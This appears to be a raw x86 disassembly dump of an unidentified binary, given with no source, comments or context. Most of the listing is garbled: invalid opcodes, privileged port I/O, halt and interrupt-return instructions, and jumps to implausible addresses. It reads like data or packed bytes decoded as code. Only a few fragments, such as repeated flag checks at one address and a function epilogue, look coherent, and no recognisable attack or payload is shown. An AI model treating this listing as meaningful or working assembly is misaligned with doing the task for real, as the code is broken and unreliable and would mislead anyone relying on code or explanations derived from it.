wait
fsubr qword [eax]
cmp eax, 0x26a37e32
lea esp, [eax - 0x15e5b7f6]
or al, 0xb5
mov bh, 0xe0
sbb dword [edi - 0xd], ecx
mov cl, 0x91
xor dword [eax], ebp
cmp eax, 0x9d14ee4c
mov ecx, esi
invalid
test eax, eax
jne 0x4096eb
test dl, dl
jne 0x40992e
add ah, byte [ecx - 7]
sub dword [edi + 0x65], esi
push 0xc8ba9fd1
fld dword [ebx - 0x7778285]
mov eax, dword [0x9e22aaa9]
push 0x5e
ror esp, 0xf
out 0x6a, eax
push cs
pop ebp
insb byte es:[edi], dx
outsd dx, dword [esi]
push esi
xchg ebp, eax
out 0xbb, al
std
mov eax, 0x3480b75b
cmp bh, bl
mov dl, 0xc2
hlt
test dl, dl
jne 0x4097e7
adc ah, byte [esi - 0x41]
mov bh, byte [ebx]
xchg ecx, eax
pushal
sar dword [ecx + 0x5258a023], cl
and esp, dword [eax - 0x7e89ada8]
pop eax
push edx
jbe 0x409683
je 0x409764
loop 0x4096fe
or byte [ebx], dl
cld
xchg ebx, eax
cld
xchg edi, eax
sahf
idiv byte [edx - 0x3a]
or ecx, esp
xchg byte [ebx - 0x100ce8e4], dl
rcl byte [edi]
nop
sub byte [ecx + 6], ch
test eax, 0x8a087aa7
jb 0x409738
popfd
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
cdq
add eax, 0x83fc3808
inc byte [0x80988464]
pushfd
mov ebp, dword [edi + 0x6c]
outsd dx, dword [esi]
insb byte es:[edi], dx
mov byte [0x60b95ff], al
mov bl, pe_nt_image_headers32
inc edi
cmp eax, 0x60da58f2
cld
jae 0x4097b1
add al, 0xab
bound eax, qword [edi + 0x2eeb67aa]
jmp [ebx - 0x36]
test eax, 0x76a5b402
sbb ch, byte [edx - 0x34ce83df]
jecxz 0x40978e
cli
loop 0x4096fc
les ebp, [ebx - 5]
cdq
invalid
jb 0x4097e6
mov eax, dword [0x4e1d801c]
dec ebx
add byte [ebx + 0x45], ch
loop 0x409786
or cl, byte [esi + 0x57]
add eax, 0xbacd95e8
mov bl, 0x9f
ja 0x4097d2
ret 0x65d
retf
popfd
aam 0xab
add byte [ebx + 0x6ef61e3d], cl
mov bl, 0x93
bound esp, qword [ebp + 0x67dee537]
push 0xffffffffffffffbb
invalid
or eax, 0x40083d80
inc ecx
add byte [eax], al
cmp byte [0x414008], 0
mov dword [ebx + 0x10], 1
jne 0x409883
outsd dx, dword [esi]
sbb eax, 0x5505642e
test dword [edi - 0x1873ddc5], esi
and edx, dword [edi]
and al, 0x41
or eax, 0xf5a1f493
cdq
fcomp st(2)
ja 0x409854
inc esp
xor al, byte [0x6f75ef51]
sbb eax, 0x5e7274d9
sub ebp, dword [ebp - 0x5b6b487f]
iretd
mov dword [0x34ae4d24], eax
insb byte es:[edi], dx
xlatb
sbb al, 0
jno 0x4098c2
mov edi, 0x96352bb9
xchg edi, eax
jnp 0x409892
call 0x3c52a609
das
scasd eax, dword es:[edi]
xor dword [ebp + 0x35], ebp
mov ebx, 0x56e0d809
xchg dword [ebx + eax*8], edx
pop esi
xor bl, al
iretd
cmp byte [0x414008], 0
jne 0x409927
xor cl, byte [edx + 0x3f]
aas
iretd
int1
sub bh, byte [ebx]
retf
mov bl, 0x50
inc eax
lodsb al, byte [esi]
mov al, byte [0xd63abb92]
mov edi, 0x14434079
fcomp dword [ebp + 0x18]
imul byte [esi]
sbb dh, dh
push ss
mov eax, dword [0xee356d69]
arpl word [esi - 0x400e945], bp
ret
mov eax, ebx
jmp 0x409ab8
cmp byte [0x414008], 0
jne 0x4099fe
insb byte es:[edi], dx
dec edi
insb byte es:[edi], dx
scasd eax, dword es:[edi]
arpl word [esp + ecx + 0x7c], ax
cmp edi, dword [edx]
xchg esi, eax
xor dword [ecx + 0x37], edx
lcall 0x441b, 0x21886cbe
aaa
sbb bh, byte [edi]
cli
or ebx, ebx
push eax
mov eax, 0xff247cb0
call 0xdf6dfd34
fild qword [eax + 0x1a]
jne 0x4098ff
imul ebp, dword [esp + esi + 0x4abc1929], 0x34
add byte [ecx + 0x597c404e], al
sbb ecx, esp
adc cl, bl
dec eax
retf
mov dword [esp], ebx
call int.00403590
cmp byte [0x414008], 0
jne 0x409ab6
mov ebx, 0x5767dba7
mov cl, 0x6a
cmp byte [esi - 0x4fff4c], 0x39
adc esp, dword [esi]
inc eax
sbb eax, 0xbef89f3c
and bl, dh
popfd
invalid
xor eax, eax
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
xchg ebp, eax
xlatb
and ah, al
fstp qword [edx]
add dword [edx + 0x3a80306c], ebp
xchg edx, eax
sub dword [eax + 3], 0x6e
cmp dl, byte [edx + 0x6e036883]
test dword [edx - 0x2a223d5d], ebp
int1
xor eax, 0xc24dbdba
push edx
and al, 0xf8
jb 0x409acc
aad 0x8c
ljmp 0xac32